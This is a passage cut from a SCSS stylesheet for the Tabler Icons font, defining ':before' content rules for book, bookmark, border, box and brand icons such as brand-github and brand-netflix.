$ti-icon-book-download;\n}\n\n.#{$ti-prefix}-book-filled:before {\n  content: $ti-icon-book-filled;\n}\n\n.#{$ti-prefix}-book-off:before {\n  content: $ti-icon-book-off;\n}\n\n.#{$ti-prefix}-book-upload:before {\n  content: $ti-icon-book-upload;\n}\n\n.#{$ti-prefix}-bookmark:before {\n  content: $ti-icon-bookmark;\n}\n\n.#{$ti-prefix}-bookmark-ai:before {\n  content: $ti-icon-bookmark-ai;\n}\n\n.#{$ti-prefix}-bookmark-edit:before {\n  content: $ti-icon-bookmark-edit;\n}\n\n.#{$ti-prefix}-bookmark-filled:before {\n  content: $ti-icon-bookmark-filled;\n}\n\n.#{$ti-prefix}-bookmark-minus:before {\n  content: $ti-icon-bookmark-minus;\n}\n\n.#{$ti-prefix}-bookmark-off:before {\n  content: $ti-icon-bookmark-off;\n}\n\n.#{$ti-prefix}-bookmark-plus:before {\n  content: $ti-icon-bookmark-plus;\n}\n\n.#{$ti-prefix}-bookmark-question:before {\n  content: $ti-icon-bookmark-question;\n}\n\n.#{$ti-prefix}-bookmarks:before {\n  content: $ti-icon-bookmarks;\n}\n\n.#{$ti-prefix}-bookmarks-filled:before {\n  content: $ti-icon-bookmarks-filled;\n}\n\n.#{$ti-prefix}-bookmarks-off:before {\n  content: $ti-icon-bookmarks-off;\n}\n\n.#{$ti-prefix}-books:before {\n  content: $ti-icon-books;\n}\n\n.#{$ti-prefix}-books-off:before {\n  content: $ti-icon-books-off;\n}\n\n.#{$ti-prefix}-boom:before {\n  content: $ti-icon-boom;\n}\n\n.#{$ti-prefix}-boom-filled:before {\n  content: $ti-icon-boom-filled;\n}\n\n.#{$ti-prefix}-border-all:before {\n  content: $ti-icon-border-all;\n}\n\n.#{$ti-prefix}-border-bottom:before {\n  content: $ti-icon-border-bottom;\n}\n\n.#{$ti-prefix}-border-bottom-plus:before {\n  content: $ti-icon-border-bottom-plus;\n}\n\n.#{$ti-prefix}-border-corner-ios:before {\n  content: $ti-icon-border-corner-ios;\n}\n\n.#{$ti-prefix}-border-corner-pill:before {\n  content: $ti-icon-border-corner-pill;\n}\n\n.#{$ti-prefix}-border-corner-rounded:before {\n  content: $ti-icon-border-corner-rounded;\n}\n\n.#{$ti-prefix}-border-corner-square:before {\n  content: $ti-icon-border-corner-square;\n}\n\n.#{$ti-prefix}-border-corners:before {\n  content: $ti-icon-border-corners;\n}\n\n.#{$ti-prefix}-border-horizontal:before {\n  content: $ti-icon-border-horizontal;\n}\n\n.#{$ti-prefix}-border-inner:before {\n  content: $ti-icon-border-inner;\n}\n\n.#{$ti-prefix}-border-left:before {\n  content: $ti-icon-border-left;\n}\n\n.#{$ti-prefix}-border-left-plus:before {\n  content: $ti-icon-border-left-plus;\n}\n\n.#{$ti-prefix}-border-none:before {\n  content: $ti-icon-border-none;\n}\n\n.#{$ti-prefix}-border-outer:before {\n  content: $ti-icon-border-outer;\n}\n\n.#{$ti-prefix}-border-radius:before {\n  content: $ti-icon-border-radius;\n}\n\n.#{$ti-prefix}-border-right:before {\n  content: $ti-icon-border-right;\n}\n\n.#{$ti-prefix}-border-right-plus:before {\n  content: $ti-icon-border-right-plus;\n}\n\n.#{$ti-prefix}-border-sides:before {\n  content: $ti-icon-border-sides;\n}\n\n.#{$ti-prefix}-border-style:before {\n  content: $ti-icon-border-style;\n}\n\n.#{$ti-prefix}-border-style-2:before {\n  content: $ti-icon-border-style-2;\n}\n\n.#{$ti-prefix}-border-top:before {\n  content: $ti-icon-border-top;\n}\n\n.#{$ti-prefix}-border-top-plus:before {\n  content: $ti-icon-border-top-plus;\n}\n\n.#{$ti-prefix}-border-vertical:before {\n  content: $ti-icon-border-vertical;\n}\n\n.#{$ti-prefix}-bottle:before {\n  content: $ti-icon-bottle;\n}\n\n.#{$ti-prefix}-bottle-filled:before {\n  content: $ti-icon-bottle-filled;\n}\n\n.#{$ti-prefix}-bottle-off:before {\n  content: $ti-icon-bottle-off;\n}\n\n.#{$ti-prefix}-bounce-left:before {\n  content: $ti-icon-bounce-left;\n}\n\n.#{$ti-prefix}-bounce-left-filled:before {\n  content: $ti-icon-bounce-left-filled;\n}\n\n.#{$ti-prefix}-bounce-right:before {\n  content: $ti-icon-bounce-right;\n}\n\n.#{$ti-prefix}-bounce-right-filled:before {\n  content: $ti-icon-bounce-right-filled;\n}\n\n.#{$ti-prefix}-bow:before {\n  content: $ti-icon-bow;\n}\n\n.#{$ti-prefix}-bow-filled:before {\n  content: $ti-icon-bow-filled;\n}\n\n.#{$ti-prefix}-bowl:before {\n  content: $ti-icon-bowl;\n}\n\n.#{$ti-prefix}-bowl-chopsticks:before {\n  content: $ti-icon-bowl-chopsticks;\n}\n\n.#{$ti-prefix}-bowl-chopsticks-filled:before {\n  content: $ti-icon-bowl-chopsticks-filled;\n}\n\n.#{$ti-prefix}-bowl-filled:before {\n  content: $ti-icon-bowl-filled;\n}\n\n.#{$ti-prefix}-bowl-spoon:before {\n  content: $ti-icon-bowl-spoon;\n}\n\n.#{$ti-prefix}-bowl-spoon-filled:before {\n  content: $ti-icon-bowl-spoon-filled;\n}\n\n.#{$ti-prefix}-box:before {\n  content: $ti-icon-box;\n}\n\n.#{$ti-prefix}-box-align-bottom:before {\n  content: $ti-icon-box-align-bottom;\n}\n\n.#{$ti-prefix}-box-align-bottom-filled:before {\n  content: $ti-icon-box-align-bottom-filled;\n}\n\n.#{$ti-prefix}-box-align-bottom-left:before {\n  content: $ti-icon-box-align-bottom-left;\n}\n\n.#{$ti-prefix}-box-align-bottom-left-filled:before {\n  content: $ti-icon-box-align-bottom-left-filled;\n}\n\n.#{$ti-prefix}-box-align-bottom-right:before {\n  content: $ti-icon-box-align-bottom-right;\n}\n\n.#{$ti-prefix}-box-align-bottom-right-filled:before {\n  content: $ti-icon-box-align-bottom-right-filled;\n}\n\n.#{$ti-prefix}-box-align-left:before {\n  content: $ti-icon-box-align-left;\n}\n\n.#{$ti-prefix}-box-align-left-filled:before {\n  content: $ti-icon-box-align-left-filled;\n}\n\n.#{$ti-prefix}-box-align-right:before {\n  content: $ti-icon-box-align-right;\n}\n\n.#{$ti-prefix}-box-align-right-filled:before {\n  content: $ti-icon-box-align-right-filled;\n}\n\n.#{$ti-prefix}-box-align-top:before {\n  content: $ti-icon-box-align-top;\n}\n\n.#{$ti-prefix}-box-align-top-filled:before {\n  content: $ti-icon-box-align-top-filled;\n}\n\n.#{$ti-prefix}-box-align-top-left:before {\n  content: $ti-icon-box-align-top-left;\n}\n\n.#{$ti-prefix}-box-align-top-left-filled:before {\n  content: $ti-icon-box-align-top-left-filled;\n}\n\n.#{$ti-prefix}-box-align-top-right:before {\n  content: $ti-icon-box-align-top-right;\n}\n\n.#{$ti-prefix}-box-align-top-right-filled:before {\n  content: $ti-icon-box-align-top-right-filled;\n}\n\n.#{$ti-prefix}-box-margin:before {\n  content: $ti-icon-box-margin;\n}\n\n.#{$ti-prefix}-box-model:before {\n  content: $ti-icon-box-model;\n}\n\n.#{$ti-prefix}-box-model-2:before {\n  content: $ti-icon-box-model-2;\n}\n\n.#{$ti-prefix}-box-model-2-off:before {\n  content: $ti-icon-box-model-2-off;\n}\n\n.#{$ti-prefix}-box-model-off:before {\n  content: $ti-icon-box-model-off;\n}\n\n.#{$ti-prefix}-box-multiple:before {\n  content: $ti-icon-box-multiple;\n}\n\n.#{$ti-prefix}-box-multiple-0:before {\n  content: $ti-icon-box-multiple-0;\n}\n\n.#{$ti-prefix}-box-multiple-1:before {\n  content: $ti-icon-box-multiple-1;\n}\n\n.#{$ti-prefix}-box-multiple-2:before {\n  content: $ti-icon-box-multiple-2;\n}\n\n.#{$ti-prefix}-box-multiple-3:before {\n  content: $ti-icon-box-multiple-3;\n}\n\n.#{$ti-prefix}-box-multiple-4:before {\n  content: $ti-icon-box-multiple-4;\n}\n\n.#{$ti-prefix}-box-multiple-5:before {\n  content: $ti-icon-box-multiple-5;\n}\n\n.#{$ti-prefix}-box-multiple-6:before {\n  content: $ti-icon-box-multiple-6;\n}\n\n.#{$ti-prefix}-box-multiple-7:before {\n  content: $ti-icon-box-multiple-7;\n}\n\n.#{$ti-prefix}-box-multiple-8:before {\n  content: $ti-icon-box-multiple-8;\n}\n\n.#{$ti-prefix}-box-multiple-9:before {\n  content: $ti-icon-box-multiple-9;\n}\n\n.#{$ti-prefix}-box-off:before {\n  content: $ti-icon-box-off;\n}\n\n.#{$ti-prefix}-box-padding:before {\n  content: $ti-icon-box-padding;\n}\n\n.#{$ti-prefix}-braces:before {\n  content: $ti-icon-braces;\n}\n\n.#{$ti-prefix}-braces-off:before {\n  content: $ti-icon-braces-off;\n}\n\n.#{$ti-prefix}-brackets:before {\n  content: $ti-icon-brackets;\n}\n\n.#{$ti-prefix}-brackets-angle:before {\n  content: $ti-icon-brackets-angle;\n}\n\n.#{$ti-prefix}-brackets-angle-off:before {\n  content: $ti-icon-brackets-angle-off;\n}\n\n.#{$ti-prefix}-brackets-contain:before {\n  content: $ti-icon-brackets-contain;\n}\n\n.#{$ti-prefix}-brackets-contain-end:before {\n  content: $ti-icon-brackets-contain-end;\n}\n\n.#{$ti-prefix}-brackets-contain-start:before {\n  content: $ti-icon-brackets-contain-start;\n}\n\n.#{$ti-prefix}-brackets-off:before {\n  content: $ti-icon-brackets-off;\n}\n\n.#{$ti-prefix}-braille:before {\n  content: $ti-icon-braille;\n}\n\n.#{$ti-prefix}-brain:before {\n  content: $ti-icon-brain;\n}\n\n.#{$ti-prefix}-brand-4chan:before {\n  content: $ti-icon-brand-4chan;\n}\n\n.#{$ti-prefix}-brand-abstract:before {\n  content: $ti-icon-brand-abstract;\n}\n\n.#{$ti-prefix}-brand-adobe:before {\n  content: $ti-icon-brand-adobe;\n}\n\n.#{$ti-prefix}-brand-adonis-js:before {\n  content: $ti-icon-brand-adonis-js;\n}\n\n.#{$ti-prefix}-brand-airbnb:before {\n  content: $ti-icon-brand-airbnb;\n}\n\n.#{$ti-prefix}-brand-airtable:before {\n  content: $ti-icon-brand-airtable;\n}\n\n.#{$ti-prefix}-brand-algolia:before {\n  content: $ti-icon-brand-algolia;\n}\n\n.#{$ti-prefix}-brand-alipay:before {\n  content: $ti-icon-brand-alipay;\n}\n\n.#{$ti-prefix}-brand-alpine-js:before {\n  content: $ti-icon-brand-alpine-js;\n}\n\n.#{$ti-prefix}-brand-amazon:before {\n  content: $ti-icon-brand-amazon;\n}\n\n.#{$ti-prefix}-brand-amd:before {\n  content: $ti-icon-brand-amd;\n}\n\n.#{$ti-prefix}-brand-amigo:before {\n  content: $ti-icon-brand-amigo;\n}\n\n.#{$ti-prefix}-brand-among-us:before {\n  content: $ti-icon-brand-among-us;\n}\n\n.#{$ti-prefix}-brand-android:before {\n  content: $ti-icon-brand-android;\n}\n\n.#{$ti-prefix}-brand-angular:before {\n  content: $ti-icon-brand-angular;\n}\n\n.#{$ti-prefix}-brand-ansible:before {\n  content: $ti-icon-brand-ansible;\n}\n\n.#{$ti-prefix}-brand-ao3:before {\n  content: $ti-icon-brand-ao3;\n}\n\n.#{$ti-prefix}-brand-appgallery:before {\n  content: $ti-icon-brand-appgallery;\n}\n\n.#{$ti-prefix}-brand-apple:before {\n  content: $ti-icon-brand-apple;\n}\n\n.#{$ti-prefix}-brand-apple-arcade:before {\n  content: $ti-icon-brand-apple-arcade;\n}\n\n.#{$ti-prefix}-brand-apple-filled:before {\n  content: $ti-icon-brand-apple-filled;\n}\n\n.#{$ti-prefix}-brand-apple-podcast:before {\n  content: $ti-icon-brand-apple-podcast;\n}\n\n.#{$ti-prefix}-brand-appstore:before {\n  content: $ti-icon-brand-appstore;\n}\n\n.#{$ti-prefix}-brand-asana:before {\n  content: $ti-icon-brand-asana;\n}\n\n.#{$ti-prefix}-brand-astro:before {\n  content: $ti-icon-brand-astro;\n}\n\n.#{$ti-prefix}-brand-auth0:before {\n  content: $ti-icon-brand-auth0;\n}\n\n.#{$ti-prefix}-brand-aws:before {\n  content: $ti-icon-brand-aws;\n}\n\n.#{$ti-prefix}-brand-azure:before {\n  content: $ti-icon-brand-azure;\n}\n\n.#{$ti-prefix}-brand-backbone:before {\n  content: $ti-icon-brand-backbone;\n}\n\n.#{$ti-prefix}-brand-badoo:before {\n  content: $ti-icon-brand-badoo;\n}\n\n.#{$ti-prefix}-brand-baidu:before {\n  content: $ti-icon-brand-baidu;\n}\n\n.#{$ti-prefix}-brand-bandcamp:before {\n  content: $ti-icon-brand-bandcamp;\n}\n\n.#{$ti-prefix}-brand-bandlab:before {\n  content: $ti-icon-brand-bandlab;\n}\n\n.#{$ti-prefix}-brand-beats:before {\n  content: $ti-icon-brand-beats;\n}\n\n.#{$ti-prefix}-brand-behance:before {\n  content: $ti-icon-brand-behance;\n}\n\n.#{$ti-prefix}-brand-bilibili:before {\n  content: $ti-icon-brand-bilibili;\n}\n\n.#{$ti-prefix}-brand-binance:before {\n  content: $ti-icon-brand-binance;\n}\n\n.#{$ti-prefix}-brand-bing:before {\n  content: $ti-icon-brand-bing;\n}\n\n.#{$ti-prefix}-brand-bitbucket:before {\n  content: $ti-icon-brand-bitbucket;\n}\n\n.#{$ti-prefix}-brand-blackberry:before {\n  content: $ti-icon-brand-blackberry;\n}\n\n.#{$ti-prefix}-brand-blender:before {\n  content: $ti-icon-brand-blender;\n}\n\n.#{$ti-prefix}-brand-blogger:before {\n  content: $ti-icon-brand-blogger;\n}\n\n.#{$ti-prefix}-brand-bluesky:before {\n  content: $ti-icon-brand-bluesky;\n}\n\n.#{$ti-prefix}-brand-booking:before {\n  content: $ti-icon-brand-booking;\n}\n\n.#{$ti-prefix}-brand-bootstrap:before {\n  content: $ti-icon-brand-bootstrap;\n}\n\n.#{$ti-prefix}-brand-bulma:before {\n  content: $ti-icon-brand-bulma;\n}\n\n.#{$ti-prefix}-brand-bumble:before {\n  content: $ti-icon-brand-bumble;\n}\n\n.#{$ti-prefix}-brand-bunpo:before {\n  content: $ti-icon-brand-bunpo;\n}\n\n.#{$ti-prefix}-brand-c-sharp:before {\n  content: $ti-icon-brand-c-sharp;\n}\n\n.#{$ti-prefix}-brand-cake:before {\n  content: $ti-icon-brand-cake;\n}\n\n.#{$ti-prefix}-brand-cakephp:before {\n  content: $ti-icon-brand-cakephp;\n}\n\n.#{$ti-prefix}-brand-campaignmonitor:before {\n  content: $ti-icon-brand-campaignmonitor;\n}\n\n.#{$ti-prefix}-brand-carbon:before {\n  content: $ti-icon-brand-carbon;\n}\n\n.#{$ti-prefix}-brand-cashapp:before {\n  content: $ti-icon-brand-cashapp;\n}\n\n.#{$ti-prefix}-brand-chrome:before {\n  content: $ti-icon-brand-chrome;\n}\n\n.#{$ti-prefix}-brand-cinema-4d:before {\n  content: $ti-icon-brand-cinema-4d;\n}\n\n.#{$ti-prefix}-brand-citymapper:before {\n  content: $ti-icon-brand-citymapper;\n}\n\n.#{$ti-prefix}-brand-cloudflare:before {\n  content: $ti-icon-brand-cloudflare;\n}\n\n.#{$ti-prefix}-brand-codecov:before {\n  content: $ti-icon-brand-codecov;\n}\n\n.#{$ti-prefix}-brand-codepen:before {\n  content: $ti-icon-brand-codepen;\n}\n\n.#{$ti-prefix}-brand-codesandbox:before {\n  content: $ti-icon-brand-codesandbox;\n}\n\n.#{$ti-prefix}-brand-cohost:before {\n  content: $ti-icon-brand-cohost;\n}\n\n.#{$ti-prefix}-brand-coinbase:before {\n  content: $ti-icon-brand-coinbase;\n}\n\n.#{$ti-prefix}-brand-comedy-central:before {\n  content: $ti-icon-brand-comedy-central;\n}\n\n.#{$ti-prefix}-brand-coreos:before {\n  content: $ti-icon-brand-coreos;\n}\n\n.#{$ti-prefix}-brand-couchdb:before {\n  content: $ti-icon-brand-couchdb;\n}\n\n.#{$ti-prefix}-brand-couchsurfing:before {\n  content: $ti-icon-brand-couchsurfing;\n}\n\n.#{$ti-prefix}-brand-cpp:before {\n  content: $ti-icon-brand-cpp;\n}\n\n.#{$ti-prefix}-brand-craft:before {\n  content: $ti-icon-brand-craft;\n}\n\n.#{$ti-prefix}-brand-crunchbase:before {\n  content: $ti-icon-brand-crunchbase;\n}\n\n.#{$ti-prefix}-brand-css3:before {\n  content: $ti-icon-brand-css3;\n}\n\n.#{$ti-prefix}-brand-ctemplar:before {\n  content: $ti-icon-brand-ctemplar;\n}\n\n.#{$ti-prefix}-brand-cucumber:before {\n  content: $ti-icon-brand-cucumber;\n}\n\n.#{$ti-prefix}-brand-cupra:before {\n  content: $ti-icon-brand-cupra;\n}\n\n.#{$ti-prefix}-brand-cypress:before {\n  content: $ti-icon-brand-cypress;\n}\n\n.#{$ti-prefix}-brand-d3:before {\n  content: $ti-icon-brand-d3;\n}\n\n.#{$ti-prefix}-brand-databricks:before {\n  content: $ti-icon-brand-databricks;\n}\n\n.#{$ti-prefix}-brand-days-counter:before {\n  content: $ti-icon-brand-days-counter;\n}\n\n.#{$ti-prefix}-brand-dcos:before {\n  content: $ti-icon-brand-dcos;\n}\n\n.#{$ti-prefix}-brand-debian:before {\n  content: $ti-icon-brand-debian;\n}\n\n.#{$ti-prefix}-brand-deezer:before {\n  content: $ti-icon-brand-deezer;\n}\n\n.#{$ti-prefix}-brand-deliveroo:before {\n  content: $ti-icon-brand-deliveroo;\n}\n\n.#{$ti-prefix}-brand-deno:before {\n  content: $ti-icon-brand-deno;\n}\n\n.#{$ti-prefix}-brand-denodo:before {\n  content: $ti-icon-brand-denodo;\n}\n\n.#{$ti-prefix}-brand-deviantart:before {\n  content: $ti-icon-brand-deviantart;\n}\n\n.#{$ti-prefix}-brand-digg:before {\n  content: $ti-icon-brand-digg;\n}\n\n.#{$ti-prefix}-brand-dingtalk:before {\n  content: $ti-icon-brand-dingtalk;\n}\n\n.#{$ti-prefix}-brand-discord:before {\n  content: $ti-icon-brand-discord;\n}\n\n.#{$ti-prefix}-brand-discord-filled:before {\n  content: $ti-icon-brand-discord-filled;\n}\n\n.#{$ti-prefix}-brand-disney:before {\n  content: $ti-icon-brand-disney;\n}\n\n.#{$ti-prefix}-brand-disqus:before {\n  content: $ti-icon-brand-disqus;\n}\n\n.#{$ti-prefix}-brand-django:before {\n  content: $ti-icon-brand-django;\n}\n\n.#{$ti-prefix}-brand-docker:before {\n  content: $ti-icon-brand-docker;\n}\n\n.#{$ti-prefix}-brand-doctrine:before {\n  content: $ti-icon-brand-doctrine;\n}\n\n.#{$ti-prefix}-brand-dolby-digital:before {\n  content: $ti-icon-brand-dolby-digital;\n}\n\n.#{$ti-prefix}-brand-douban:before {\n  content: $ti-icon-brand-douban;\n}\n\n.#{$ti-prefix}-brand-dribbble:before {\n  content: $ti-icon-brand-dribbble;\n}\n\n.#{$ti-prefix}-brand-dribbble-filled:before {\n  content: $ti-icon-brand-dribbble-filled;\n}\n\n.#{$ti-prefix}-brand-drops:before {\n  content: $ti-icon-brand-drops;\n}\n\n.#{$ti-prefix}-brand-drupal:before {\n  content: $ti-icon-brand-drupal;\n}\n\n.#{$ti-prefix}-brand-edge:before {\n  content: $ti-icon-brand-edge;\n}\n\n.#{$ti-prefix}-brand-elastic:before {\n  content: $ti-icon-brand-elastic;\n}\n\n.#{$ti-prefix}-brand-electronic-arts:before {\n  content: $ti-icon-brand-electronic-arts;\n}\n\n.#{$ti-prefix}-brand-ember:before {\n  content: $ti-icon-brand-ember;\n}\n\n.#{$ti-prefix}-brand-envato:before {\n  content: $ti-icon-brand-envato;\n}\n\n.#{$ti-prefix}-brand-etsy:before {\n  content: $ti-icon-brand-etsy;\n}\n\n.#{$ti-prefix}-brand-evernote:before {\n  content: $ti-icon-brand-evernote;\n}\n\n.#{$ti-prefix}-brand-facebook:before {\n  content: $ti-icon-brand-facebook;\n}\n\n.#{$ti-prefix}-brand-facebook-filled:before {\n  content: $ti-icon-brand-facebook-filled;\n}\n\n.#{$ti-prefix}-brand-feedly:before {\n  content: $ti-icon-brand-feedly;\n}\n\n.#{$ti-prefix}-brand-figma:before {\n  content: $ti-icon-brand-figma;\n}\n\n.#{$ti-prefix}-brand-filezilla:before {\n  content: $ti-icon-brand-filezilla;\n}\n\n.#{$ti-prefix}-brand-finder:before {\n  content: $ti-icon-brand-finder;\n}\n\n.#{$ti-prefix}-brand-firebase:before {\n  content: $ti-icon-brand-firebase;\n}\n\n.#{$ti-prefix}-brand-firefox:before {\n  content: $ti-icon-brand-firefox;\n}\n\n.#{$ti-prefix}-brand-fiverr:before {\n  content: $ti-icon-brand-fiverr;\n}\n\n.#{$ti-prefix}-brand-flickr:before {\n  content: $ti-icon-brand-flickr;\n}\n\n.#{$ti-prefix}-brand-flightradar24:before {\n  content: $ti-icon-brand-flightradar24;\n}\n\n.#{$ti-prefix}-brand-flipboard:before {\n  content: $ti-icon-brand-flipboard;\n}\n\n.#{$ti-prefix}-brand-flutter:before {\n  content: $ti-icon-brand-flutter;\n}\n\n.#{$ti-prefix}-brand-fortnite:before {\n  content: $ti-icon-brand-fortnite;\n}\n\n.#{$ti-prefix}-brand-foursquare:before {\n  content: $ti-icon-brand-foursquare;\n}\n\n.#{$ti-prefix}-brand-framer:before {\n  content: $ti-icon-brand-framer;\n}\n\n.#{$ti-prefix}-brand-framer-motion:before {\n  content: $ti-icon-brand-framer-motion;\n}\n\n.#{$ti-prefix}-brand-funimation:before {\n  content: $ti-icon-brand-funimation;\n}\n\n.#{$ti-prefix}-brand-gatsby:before {\n  content: $ti-icon-brand-gatsby;\n}\n\n.#{$ti-prefix}-brand-git:before {\n  content: $ti-icon-brand-git;\n}\n\n.#{$ti-prefix}-brand-github:before {\n  content: $ti-icon-brand-github;\n}\n\n.#{$ti-prefix}-brand-github-copilot:before {\n  content: $ti-icon-brand-github-copilot;\n}\n\n.#{$ti-prefix}-brand-github-filled:before {\n  content: $ti-icon-brand-github-filled;\n}\n\n.#{$ti-prefix}-brand-gitlab:before {\n  content: $ti-icon-brand-gitlab;\n}\n\n.#{$ti-prefix}-brand-gmail:before {\n  content: $ti-icon-brand-gmail;\n}\n\n.#{$ti-prefix}-brand-golang:before {\n  content: $ti-icon-brand-golang;\n}\n\n.#{$ti-prefix}-brand-google:before {\n  content: $ti-icon-brand-google;\n}\n\n.#{$ti-prefix}-brand-google-analytics:before {\n  content: $ti-icon-brand-google-analytics;\n}\n\n.#{$ti-prefix}-brand-google-big-query:before {\n  content: $ti-icon-brand-google-big-query;\n}\n\n.#{$ti-prefix}-brand-google-drive:before {\n  content: $ti-icon-brand-google-drive;\n}\n\n.#{$ti-prefix}-brand-google-filled:before {\n  content: $ti-icon-brand-google-filled;\n}\n\n.#{$ti-prefix}-brand-google-fit:before {\n  content: $ti-icon-brand-google-fit;\n}\n\n.#{$ti-prefix}-brand-google-home:before {\n  content: $ti-icon-brand-google-home;\n}\n\n.#{$ti-prefix}-brand-google-maps:before {\n  content: $ti-icon-brand-google-maps;\n}\n\n.#{$ti-prefix}-brand-google-one:before {\n  content: $ti-icon-brand-google-one;\n}\n\n.#{$ti-prefix}-brand-google-photos:before {\n  content: $ti-icon-brand-google-photos;\n}\n\n.#{$ti-prefix}-brand-google-play:before {\n  content: $ti-icon-brand-google-play;\n}\n\n.#{$ti-prefix}-brand-google-podcasts:before {\n  content: $ti-icon-brand-google-podcasts;\n}\n\n.#{$ti-prefix}-brand-grammarly:before {\n  content: $ti-icon-brand-grammarly;\n}\n\n.#{$ti-prefix}-brand-graphql:before {\n  content: $ti-icon-brand-graphql;\n}\n\n.#{$ti-prefix}-brand-gravatar:before {\n  content: $ti-icon-brand-gravatar;\n}\n\n.#{$ti-prefix}-brand-grindr:before {\n  content: $ti-icon-brand-grindr;\n}\n\n.#{$ti-prefix}-brand-guardian:before {\n  content: $ti-icon-brand-guardian;\n}\n\n.#{$ti-prefix}-brand-gumroad:before {\n  content: $ti-icon-brand-gumroad;\n}\n\n.#{$ti-prefix}-brand-hbo:before {\n  content: $ti-icon-brand-hbo;\n}\n\n.#{$ti-prefix}-brand-headlessui:before {\n  content: $ti-icon-brand-headlessui;\n}\n\n.#{$ti-prefix}-brand-hexo:before {\n  content: $ti-icon-brand-hexo;\n}\n\n.#{$ti-prefix}-brand-hipchat:before {\n  content: $ti-icon-brand-hipchat;\n}\n\n.#{$ti-prefix}-brand-html5:before {\n  content: $ti-icon-brand-html5;\n}\n\n.#{$ti-prefix}-brand-inertia:before {\n  content: $ti-icon-brand-inertia;\n}\n\n.#{$ti-prefix}-brand-instagram:before {\n  content: $ti-icon-brand-instagram;\n}\n\n.#{$ti-prefix}-brand-intercom:before {\n  content: $ti-icon-brand-intercom;\n}\n\n.#{$ti-prefix}-brand-itch:before {\n  content: $ti-icon-brand-itch;\n}\n\n.#{$ti-prefix}-brand-javascript:before {\n  content: $ti-icon-brand-javascript;\n}\n\n.#{$ti-prefix}-brand-juejin:before {\n  content: $ti-icon-brand-juejin;\n}\n\n.#{$ti-prefix}-brand-kako-talk:before {\n  content: $ti-icon-brand-kako-talk;\n}\n\n.#{$ti-prefix}-brand-kbin:before {\n  content: $ti-icon-brand-kbin;\n}\n\n.#{$ti-prefix}-brand-kick:before {\n  content: $ti-icon-brand-kick;\n}\n\n.#{$ti-prefix}-brand-kickstarter:before {\n  content: $ti-icon-brand-kickstarter;\n}\n\n.#{$ti-prefix}-brand-kotlin:before {\n  content: $ti-icon-brand-kotlin;\n}\n\n.#{$ti-prefix}-brand-laravel:before {\n  content: $ti-icon-brand-laravel;\n}\n\n.#{$ti-prefix}-brand-lastfm:before {\n  content: $ti-icon-brand-lastfm;\n}\n\n.#{$ti-prefix}-brand-leetcode:before {\n  content: $ti-icon-brand-leetcode;\n}\n\n.#{$ti-prefix}-brand-letterboxd:before {\n  content: $ti-icon-brand-letterboxd;\n}\n\n.#{$ti-prefix}-brand-line:before {\n  content: $ti-icon-brand-line;\n}\n\n.#{$ti-prefix}-brand-linkedin:before {\n  content: $ti-icon-brand-linkedin;\n}\n\n.#{$ti-prefix}-brand-linktree:before {\n  content: $ti-icon-brand-linktree;\n}\n\n.#{$ti-prefix}-brand-linqpad:before {\n  content: $ti-icon-brand-linqpad;\n}\n\n.#{$ti-prefix}-brand-livewire:before {\n  content: $ti-icon-brand-livewire;\n}\n\n.#{$ti-prefix}-brand-loom:before {\n  content: $ti-icon-brand-loom;\n}\n\n.#{$ti-prefix}-brand-mailgun:before {\n  content: $ti-icon-brand-mailgun;\n}\n\n.#{$ti-prefix}-brand-mantine:before {\n  content: $ti-icon-brand-mantine;\n}\n\n.#{$ti-prefix}-brand-mastercard:before {\n  content: $ti-icon-brand-mastercard;\n}\n\n.#{$ti-prefix}-brand-mastodon:before {\n  content: $ti-icon-brand-mastodon;\n}\n\n.#{$ti-prefix}-brand-matrix:before {\n  content: $ti-icon-brand-matrix;\n}\n\n.#{$ti-prefix}-brand-mcdonalds:before {\n  content: $ti-icon-brand-mcdonalds;\n}\n\n.#{$ti-prefix}-brand-medium:before {\n  content: $ti-icon-brand-medium;\n}\n\n.#{$ti-prefix}-brand-meetup:before {\n  content: $ti-icon-brand-meetup;\n}\n\n.#{$ti-prefix}-brand-mercedes:before {\n  content: $ti-icon-brand-mercedes;\n}\n\n.#{$ti-prefix}-brand-messenger:before {\n  content: $ti-icon-brand-messenger;\n}\n\n.#{$ti-prefix}-brand-meta:before {\n  content: $ti-icon-brand-meta;\n}\n\n.#{$ti-prefix}-brand-minecraft:before {\n  content: $ti-icon-brand-minecraft;\n}\n\n.#{$ti-prefix}-brand-miniprogram:before {\n  content: $ti-icon-brand-miniprogram;\n}\n\n.#{$ti-prefix}-brand-mixpanel:before {\n  content: $ti-icon-brand-mixpanel;\n}\n\n.#{$ti-prefix}-brand-monday:before {\n  content: $ti-icon-brand-monday;\n}\n\n.#{$ti-prefix}-brand-mongodb:before {\n  content: $ti-icon-brand-mongodb;\n}\n\n.#{$ti-prefix}-brand-my-oppo:before {\n  content: $ti-icon-brand-my-oppo;\n}\n\n.#{$ti-prefix}-brand-mysql:before {\n  content: $ti-icon-brand-mysql;\n}\n\n.#{$ti-prefix}-brand-national-geographic:before {\n  content: $ti-icon-brand-national-geographic;\n}\n\n.#{$ti-prefix}-brand-nem:before {\n  content: $ti-icon-brand-nem;\n}\n\n.#{$ti-prefix}-brand-netbeans:before {\n  content: $ti-icon-brand-netbeans;\n}\n\n.#{$ti-prefix}-brand-netease-music:before {\n  content: $ti-icon-brand-netease-music;\n}\n\n.#{$ti-prefix}-brand-netflix:before {\n  content: $ti-icon-brand-netflix;\n}\n\n.#{$ti-prefix}-brand-nexo:before {\n  content: $ti-icon-brand-nexo;\n}\n\n.#{$ti-prefix}-brand-nextcloud:before {\n  content: $ti-icon-brand-nextcloud;\n}\n\n.#{$ti-prefix}-brand-nextjs:before {\n  content: $ti-icon-brand-nextjs;\n}\n\n.#{$ti-prefix}-brand-nodejs:before {\n  content: $ti-icon-brand-nodejs;\n}\n\n.#{$ti-prefix}-brand-nord-vpn:before {\n  content: $ti-icon-brand-nord-vpn;\n}\n\n.#{$ti-prefix}-brand-notion:before {\n  content: $ti-icon-brand-notion;\n}\n\n.#{$ti-prefix}-brand-npm:before {\n  content: $ti-icon-brand-npm;\n}\n\n.#{$ti-prefix}-brand-nuxt:before {\n  content: $ti-icon-brand-nuxt;\n}\n\n.#{$ti-prefix}-brand-nytimes:before {\n  content: $ti-icon-brand-nytimes;\n}\n\n.#{$ti-prefix}-brand-oauth:before {\n  content: $ti-icon-brand-oauth;\n}\n\n.#{$ti-prefix}-brand-office:before {\n  content: $ti-icon-brand-office;\n}\n\n.#{$ti-prefix}-brand-ok-ru:before {\n  content: $ti-icon-brand-ok-ru;\n}\n\n.#{$ti-prefix}-brand-onedrive:before {\n  content: $ti-icon-brand-onedrive;\n}\n\n.#{$ti-prefix}-brand-onlyfans:before {\n  content: 